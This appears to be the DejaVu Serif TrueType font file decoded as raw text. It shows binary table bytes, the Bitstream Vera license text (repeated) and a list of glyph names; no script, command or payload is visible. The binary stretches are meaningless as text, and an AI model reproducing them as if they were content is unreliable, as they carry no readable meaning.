FwF�FVT�/�T7;�X�1�/����������H��{���`�������T�������j�o�����������������������T�J�J���;����Jd,��x�x�x�x�x�x�x�xvx}xvx}xvx}x}xvxvx�x�x�x}��md���f�E�flicSh�f7J�J�'C�`�q�����	K	K�B	�B
_BB�B�B�.�.Z W

7��9�k:��;��<���&��:�$7��$9��$:��$<��$I��$W��$Y��$Z��$\��$���$���$���$$��$%��$&��$'��$6��$7��$8��$9��$:��$��$��$�$
��$��$��$
��$��$��$|��$}��$���$���$��$��$��%&%&&%*&%2&%<��%�&%�&%�&%�&%�&%�&%�&%���%�&%�&%�&%�&%�&%�&%�&%�&%&%&%&%&%8��%:��%�&%�&%�&%��&��&��'��'&'��'9��(&)��)��)��)��)��)$�N)D�u)H��)R��)��N)��N)��N)��N)��N)��u)��u)��u)��u)��u)��u)��u)���)���)���)���)���)���)���)���)���)���)�N)�u)�N)�u)�N)�u)��)��)��)��)��)��)��)��)��)��u)���)���)�*��*&*��*<��*���*:��-��-�a-��-��.�k.$��.&��.2��.8��.:��.<��.H��.R��.X��.\�}.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.��}.��}.��.��.��.��.��.0��.1��.:��/7�Y/8��/9�
/:�N/<�}/\��/���/���/���/���/��}/���/���/&�Y/0��/:�}/��/��1�}1�}1��1��2��2K2��29��2;��3�a3��3�a3��3��3$�D38��3D��3H��3R��3V��3��D3��D3��D3��D3��D3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3��3��3!��3#��30��4��4K4��4�&4�&57��59��5:��5<��5D/5\��5���5�/5�/5�/5�/5�/5�/5�/5�&5���5���5&��5:��5���5���6��6K6��66��6 ��6"��7��7��7��7��7��7$��77&7D�a7F�a7H�a7R�a7V�k7Z��7���7���7���7���7���7���7��a7���7���7���7���7��a7��a7���7��a7���7���7���7��a7���7���7���7��a7�a7�a7�a7�a7!�k7#�k7&&8�D8��8�D8��8��8$��8-��8���8���8���8���8���9��9�D9��9�29�29$�u92��9D�D9H�D9L��9R�D9X�}9\��9��u9��u9��u9��u9��u9���9���9���9���9���9���9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��}9��}9��}9��}9���9���9�D9��9�D91�}9�K9�K:��:�k:��:�N:�N:$��:D�N:H�Y:L��:R�u:U��:X��:\��:���:���:���:���:���:��N:��N:��N:��N:��N:��N:��u:��Y:��Y:��Y:��Y:��u:��u:��u:��u:��u:��u:���:���:���:���:���:���:�Y:�u:��:��:1��:�&:�&;��;$��;&��;2��;���;���;���;���;���;���;���;���;���;���;���;���;��;��;��<��<�<��<�<�<$�a<&��<D�a<H�N<L��<R�N<X�N<��a<��a<��a<��a<��a<���<��a<��a<��a<��a<��a<��a<��<<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��<��<�N<�)<1�N=��=��I��I��I��I��I�&I��N��R��U�U�Y�
Y�
Z�
Z�
[��\��\���7���9���:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:�����������
���������
���������|���}��������������������7���9���:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:�����������
���������
���������|���}��������������������7���9���:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:�����������
���������
���������|���}��������������������7���9���:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:�����������
���������
���������|���}��������������������7���9���:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:�����������
���������
���������|���}��������������������&�������&�&�&�&����K����$���9���<���������������������������:����}��}����������K����9���;������K����9���;������K����9���;������K����9���;������K����9���;������K����9���;����D�����D�������$���-������������������������D�����D�������$���-������������������������D�����D�������$���-������������������������D�����D�������$���-�����������������������������������$�a�&���D�a�H�N�L���R�N�X�N���a���a���a���a���a�������a���a���a���a���a���a���<���N���N���N���N���N���N���N���N���N���N���N���N���N���N��������N��)�1�N����&�������������������������������������������7���9���:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:�����������
���������
���������|���}��������������������7���9���:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:�����������
���������
���������|���}��������������������7���9���:���<���I���W���Y���Z���\���������������$���%���&���'���6���7���8���9���:�����������
���������
���������|���}�����������������������������������������������&����9������&����9���&����&����<�������:���7�Y�8���9�
�:�N�<�}�\���������������������}���������&�Y�0���:�}�������7�Y�8���9�
�:�N�<�}�\���������������������}���������&�Y�0���:�}������O�7�Y8��9�
:�N<�2\����������������2������&�Y0��:�2����	�}	�}	��	��&7��9��:��<��D/\������/�/�/�/�/�/�/�&������&��:����������7��9��:��<��D/\������/�/�/�/�/�/�/�&������&��:���������� �� K �� 6��  �� "��"��"K"��"6��" ��""��&��&��&��&��&��&$��&7&&D�a&F�a&H�a&R�a&V�k&Z��&���&���&���&���&���&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&��a&�a&�a&�a&�a&!�k&#�k&&&0�D0��0�D0��0��0$��0-��0���0���0���0���0���7��7��7Dn7FU7Ga7HV7I�7Ja7L�7M�7P}7Q}7RU7S�7Ta7U}7V�7W�7X�7Y�7Z�7[�7\�7]�777��:��:�:��:�:�:$�a:&��:D�a:H�N:L��:R�N:X�N:��a:��a:��a:��a:��a:���:��a:��a:��a:��a:��a:��a:��<:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��:��:�N:�):1�N?��?��}$��}-/}���}���}���}���}���}��7��9�k:��;��<���&��:��$���-/������������������������$���-/�99�:9�;9�<9��������������������������9�:9�7���9���:���;9�<���Y���Z�������&���:����k�$���&���2���8���:���<���H���R���X���\�}�������������������������������������������������������������������������������������������������������������������������������}���}����������������0���1���:�������������������&���DDDD�4x�X�H��d�	�
@�

��P,�L������,�\��P�d�@�\� \!X##�$|%L'4)�++�+�,<,�,�,�-�.�/4/�0|1,1�2�3�4856�7@8p989�:x;<< =t>(>�?�A�DEpFF�GG�H`H`H�I�J8K<L�MDNpO8PhQ`Q�RRDS�T T�T�U�V�V�W�X<X|X�YLY�ZXZxZ�Z�[\[t[�[�[�[�]T^�^�^�^�^�___0_H_```0`H```x`�`�ab(b@bXbpb�b�cLd�d�d�d�d�ee(f�f�f�f�f�gg$g<gTglhdh|h�h�h�h�h�ixj�j�j�j�j�kk�k�k�ll l8lPlhl�l�l�l�l�l�mm(m@mXmhnHn`nxn�n�n�n�n�oo o8oPoho�o�o�o�o�o�pp(qrr(r@rXrpr�r�r�r�r�sPsts�s�s�s�s�u�u�vvv0vHv`vxv�w,w�w�w�xx,xDx\xty4zz,zDz\ztz�z�{||�|�|�|�|�}}}0}H}`}x}�}�}�}�}�~~ ~8t��������4�L�d�|������������$�<�T�l�����T���l�|��\���`�������x������x�8���$���(����H���4�p���������<�T�l�������@���p��������X�������l���D����\���D��������d���,�H�`���������0�H�`�x������������ �8�P�h��������������(�8�P�h���������L����$�<�T�l��������������,�D�\�t���T�l���$�����0�H�`�x������������ �8�P�h��������������(�@�X�p�����������d������l�����P������������(�@�X�p�����������P���`�����P���p���@���X���$������������(���\���D���4���p�����<���x�����°ð�D�ŀ���|��\���|���\��(�\���Hˠ���|��x�8��Hό�Ѐ��|���,Ҭ�ӌ���4Ԩ���@��8���$�x���l����p���,ی���X���8݌���<�����X������\��4����P���\���<���X�������T��4���d�t�����@�x�������� ���0�@�P�`�|��������,�H���H���X�|���,�����`����<�`��������� �4�H�\�p���������������,������������� �<�l�����(�D�X�l��������P�t��������T�h�|�������4�X��������$8L`t�,Ll���L��� t���(`|��@Ph���$<Lh�����$X�������			(	�	�	�	�	�


�
�h@Xp�����
� � 0�<�,�d�HX�H�X�x$�p�����L�\���x44��@��  �!!�"|"�"�# #0#@#P#�#�$$X$�$�$�%%(%�&�&�'t'�'�(,(<))�*�*�*�*�+�+�,L,\,�-l-|//�0�0�1�2h2x2�2�33(383H455 5�6L6�7�8`8x99�:�;t;�<\==d>>(?�@hA4AhBPCC�D�D�ELE\ElE�E�GGG�HdII�J�K`K�L�M|N�N�OTO�O�P�P�P�QQ Q�R�S�S�S�S�T�U U�VV�W,W�X`YYxY�Y�ZTZ�Z�[[$[�[�\L\�\�]@]�^@^�_h_�_�_�`d`�a<a�bbdb�ccpdd�d�d�eeDeTe�ff`f�g<g�g�hHh�iii i8iPi�jlj�kLk�llDl\ltl�l�l�l�l�l�mmm,mDm\mtm�m�m�m�m�m�nn$n<nTndntn�n�n�n�n�ooo4oLodo|o�o�pp$p<pLp�q8q�r\sss$s4sDtt�uu�vv�w w�xXx�yXy�zz�{0{�|||�}�~(~�\��\���`�4������L�������x�0���T�d������������,����p���@�t������`�������h�4���@������P���<������l���\���D�l����������`���@���`�������8�������T�����4����$���$�����0���0��� ���P�����D���h���@���H���l�����|���8�� ���d�,���L����������8˜à��ŐƔ�<�<�����p˸����pЈѨ�h�P�D�$�0�נ�h�ټ�Lژ����@ܜ���Dݐ�$�lް����d�t��� �x����@�t���D����� �p������(�����(�8��������|����`���@�����`����T���x���H��8��d���,���������,���$�h�����(�����(�x��8���(������d�x�����������D�X�l���������� ���l���8�`���t�@�		�	�
@
�t�\�
T
�H��D�@d���(@Xp�����0H`x����� 8Ph������(@Xp�����0H`x����� 8Ph������(@Xp�����0H`x�����(@Xp�����0H`x����� 8Ph������(@Xp�����0H`x����� 8Ph������(@Xp���  |!!(!@!X!p!�!�!�!�!�"""0"H"h"�"�"�"�"�###0#H#h#�#�#�#�#�$$$0$H$`$x$�$�$�$�$�%%0%H%`%x%�%�%�%�%�&& &8&P&h&�&�&�&�&�'' '8'P'h'�'�'�'�'�'�((((@(X(p(�(�(�(�(�)))0)H)`)x)�)�)�)�**p*�*�*�*�*�+++0+H+`+|+�+�+�+�+�,,$,<,T,l,�,�,�,�,�--$-<-T-l-�-�-�-�-�...8.P.l.�.�.�.�.�///4/L/d/|/�/�/�/�00080T0l0�0�0�0�0�0�1101H1d1|1�1�1�1�1�22$2<2X2p2�2�2�2�2�33343L3d3|3�3�3�3�3�4444L4\4t4�4�4�4�4�4�4�55$5<5L5d5|5�5�5�5�5�66$6<6T6l6�6�6�6�6�6�77,7D7\7t7�7�7�7�7�88848L8d8|8�8�8�8�8�99$9<9T9l9�9�9�9�9�9�::,:D:\:t:�:�:�:�:�:�;;L;\;t;�;�;�;�;�<<<4<D<\<x<�<�<�<�<�===0=H=`=|=�=�=�=�=�>> >0>H>`>x>�>�>�>�>�?? ?0?@?X?p?�?�?�?�?�@@@(@8@�@�@�@�@�@�@�@�@�@�@�@�@�@�@�@�@�@�@�@�AA4A\AtA�A�BBXB�B�ClC�D$D�ELE�E�E�FF�F�F�F�F�F�F�HII<ITItI�I�I�I�J8J�J�K$K8K\K�K�LLL4LPL�L�L�MMDM`M�M�NNNNNNNNNNNNNN\N�O0O�P(PTP�Q�Q�Q�Q�R0RdR�R�R�SSS,S@STShS|S�S�S�S�S�S�TTT0TDTXTlT�T�T�T�T�T�T�U�V�W\W�X�YPY�ZZ�Z�[|[�[�\\�\�]P]�^l_P`(aadatbbb(bpb�c|c�ddxd�ee,eXe�f�gTg�h`iiPipi�i�i�i�jj8jXjxj�j�j�j�kk8kPk`k�k�l0l@l�l�mXm�m�nPn�n�n�ooo o8oXopo�o�o�o�o�pp p@pPp`ppp�p�q|rDr�ss�s�tt�uu�u�v$vXv�v�v�wDw�w�x`x�x�y@y�y�z$z`z�z�{{d{�{�|\|�}\}�~~<~t~�~�T���D�`���@�h���������$�H�p������������4�P�l���L�����(�d�����P�����(�p�����T����d����T������`�����,�����D���������d���X�t���,�t���,�����4�p��������\����`���P���h���P������ �p�����<�T�l����������H�p������X���@�X�x���������H����,�t���D����|��8�����@��������4����|�������0�X�|�(���l���x����8�����4������� �H�l�������$�d�����H����H�������� �@�`�������,�����t�������4�l��������� �D�`������D�`�����$�@�l����������,�`˜����DÄ����<�`ĄĨ������8�X�|Š������$�H�pƘ������H�tǜ������D�lȜ������D�pɘ�����@�dʐʼ����8�dˌ˼���$�X̌����,�d͜����<�pΤ����(�TπϨ����(�\Јд����@�tѠ����0�dҨ����LӀӰ���$�TԔ��� �|լ����<�\�xָ������(�D�`�|ט׼����0�D�`�|ؘش������$�@�\�xٰٔ�������܄�H�\�p݌ݠݴ������<�P�hތި���(�@ߘ��4��D�� �L�h������0�L�t�������H�d������� �<�h�������L�� �t������D����0����P������,���L�x�����D��������8�d������h���(�h����(���(���(�P�x��������0�X������<����H	@
d�
�����D��,� ������ ���h�4� | � �!$!`!�!�"0"l"�"�#�#�#�#�#�#�#�$$4$H$d$�$�$�$�%%4%H%d%�%�%�%�&&4&P&t&�&�&�''@'t'�'�'�'�(($(H(t(�(�(�))()T)�)�)�)�**D*h*�*�*�++D+p+�+�,,8,t,�,�,�,�--$-H-t-�-�-�..(.T.�.�.�.�//D/h/�/�/�00D0p0�0�1181t1�1�1�22(2T2�2�2�3303d3�3�3�444X4�4�4�55D5x5�5�66H6�6�6�707t7�7�7�7�88$8H8t8�8�8�99(9T9�9�9�9�::D:h:�:�:�;;D;p;�;�<<8<t<�<�<�==(=T=�=�=�>>0>d>�>�>�?4?X?�?�?�@@D@x@�@�AAHA�A�A�B0BtB�B�B�CC(CTC�C�C�DD0DdD�D�D�E4EXE�E�E�FFDFxF�F�GGHG�G�G�H0HtH�H�H�I$IPI�I�I�J JTJ�J�J�K4KpK�K�LLHL�L�L�M0MtM�M�N NdN�N�O(OtO�PHP�QQxQ�RR`R�R�S0StS�S�T4T|T�U�U�V,V�WWdW�XdX�X�YYlY�Y�Z@Z�Z�[$[t[�\\d\�]D]�^$^h^�_ _�_�`@`�a a|a�bbHb�b�c<c�c�dLd�eexff�f�g4g�g�h,h�i,i�i�jj<jlj�j�kk0k`k�k�k�l lPl�l�l�mmDmtm�m�nn8nTnpn�n�n�o o\o�o�o�p,p`p|p�p�qq�q�rTr�s@s�s�t<t�uutu�v$v|v�v�wPw�xxx8x�x�y0y�y�zz@zpz�z�{{@{�{�{�|0|h|�|�|�}$}L}|}�}�~~�\��P����l����H���H���(�|���\���������d��������4������(����p���8�������|���H���������,�����0�����X���X���0����\���(���L�d���������L�\�l�|�����������0�@�P�x��������@�h��������� �D�h�������(�h�|���T����������8���P������t����4���0���,���@�����,�<�|���P�����D�����$�t�����,������h�������h���4���8�����$�|������d�@�\�������|�P¤�`�D�@��������D�`� ���Ϭ�d�h����l�8����(����������X��ߌ�4�@�$���$�4����������������������� �p���`���d���<�l���L���x���|���� �`���l��������$�|��H�p��h���\���0��� �����(�l���\�����(�������������H(�D��t(�X��	d	�
|
�$�
8
����\�0���D� ����D��P�@����X��(d��   !!H!d!�!�!�!�!�""("D"`"|"�"�"�"�##$#@#\#x#�$D$�$�%D%p%�&8&t&�'X'�(`(t(�)�*(*�+@+�,0,x,�-T-l-�-�.H.�//4/P/h/�/�/�/�0
�	+���>_�:Qp���a
	��4�� 	�	 	G	V	}	�	�	"�	:%	
&	h;	�	 Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
DejaVu SerifDejaVu SerifBookBookDejaVu SerifDejaVu SerifDejaVu SerifDejaVu SerifVersion 2.37Version 2.37DejaVuSerifDejaVuSerifDejaVu fonts teamDejaVu fonts teamhttp://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
Fonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/LicenseDejaVu SerifDejaVu SerifBookBook�~Z
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~�������	
�
�� !"#$%&'()*+��,-./0123456789:��;<=>?@ABCDEFGHI��JKLMNOPQRS����TUVWXYZ[\]^_`abcdefghi�jklm��nopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDE�FGHIJKLMNOPQRSTUVWXYZ[�\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~������������������������������������������������������������������������������������������������������������������������������������������������	

� !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~������������������������������������������������������������������������������������������������������������������������������������������	��											
			
																			 	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�









	


















�




 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������









	























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	sfthyphenAmacronamacronAbreveabreveAogonekaogonekCcircumflexccircumflex
Cdotaccent
cdotaccentDcarondcaronDcroatEmacronemacronEbreveebreve
Edotaccent
edotaccentEogonekeogonekEcaronecaronGcircumflexgcircumflex
Gdotaccent
gdotaccentGcommaaccentgcommaaccentHcircumflexhcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonekIJijJcircumflexjcircumflexKcommaaccentkcommaaccentkgreenlandicLacutelacuteLcommaaccentlcommaaccentLcaronlcaronLdotldotNacutenacuteNcommaaccentncommaaccentNcaronncaronnapostropheEngengOmacronomacronObreveobreve
Ohungarumlaut
ohungarumlautRacuteracuteRcommaaccentrcommaaccentRcaronrcaronSacutesacuteScircumflexscircumflexTcommaaccenttcommaaccentTcarontcaronTbartbarUtildeutildeUmacronumacronUbreveubreveUringuring
Uhungarumlaut
uhungarumlautUogonekuogonekWcircumflexwcircumflexYcircumflexycircumflexZacutezacute
Zdotaccent
zdotaccentlongsuni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni018Funi0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019FOhornohornuni01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEUhornuhornuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01C4uni01C5uni01C6uni01C7uni01C8uni01C9uni01CAuni01CBuni01CCuni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni01DDuni01DEuni01DFuni01E0uni01E1uni01E2uni01E3uni01E4uni01E5Gcarongcaronuni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F0uni01F1uni01F2uni01F3uni01F4uni01F5uni01F6uni01F7uni01F8uni01F9
Aringacute
aringacuteAEacuteaeacuteOslashacuteoslashacuteuni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217Scommaaccentscommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0220uni0221uni0222uni0223uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0234uni0235uni0236dotlessjuni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0242uni0243uni0244uni0245uni0246uni0247uni0248uni0249uni024Auni024Buni024Cuni024Duni024Euni024Funi0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni0259uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02AEuni02AFuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BAuni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C2uni02C3uni02C4uni02C5uni02C8uni02C9uni02CAuni02CBuni02CCuni02CDuni02D0uni02D1uni02D2uni02D3uni02D6uni02D7uni02DEuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02ECuni02EEuni02EFuni02F0uni02F3uni02F7	gravecomb	acutecombuni0302	tildecombuni0304uni0305uni0306uni0307uni0308
hookabovecombuni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322dotbelowcombuni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0343uni034Funi0358uni0360uni0361uni0370uni0371uni0372uni0373uni0374uni0375uni0376uni0377uni037Auni037Buni037Cuni037Duni037Euni037Ftonos
dieresistonos
Alphatonos	anoteleiaEpsilontonosEtatonos	IotatonosOmicrontonosUpsilontonos
OmegatonosiotadieresistonosAlphaBetaGammauni0394EpsilonZetaEtaThetaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonPhiChiPsiIotadieresisUpsilondieresis
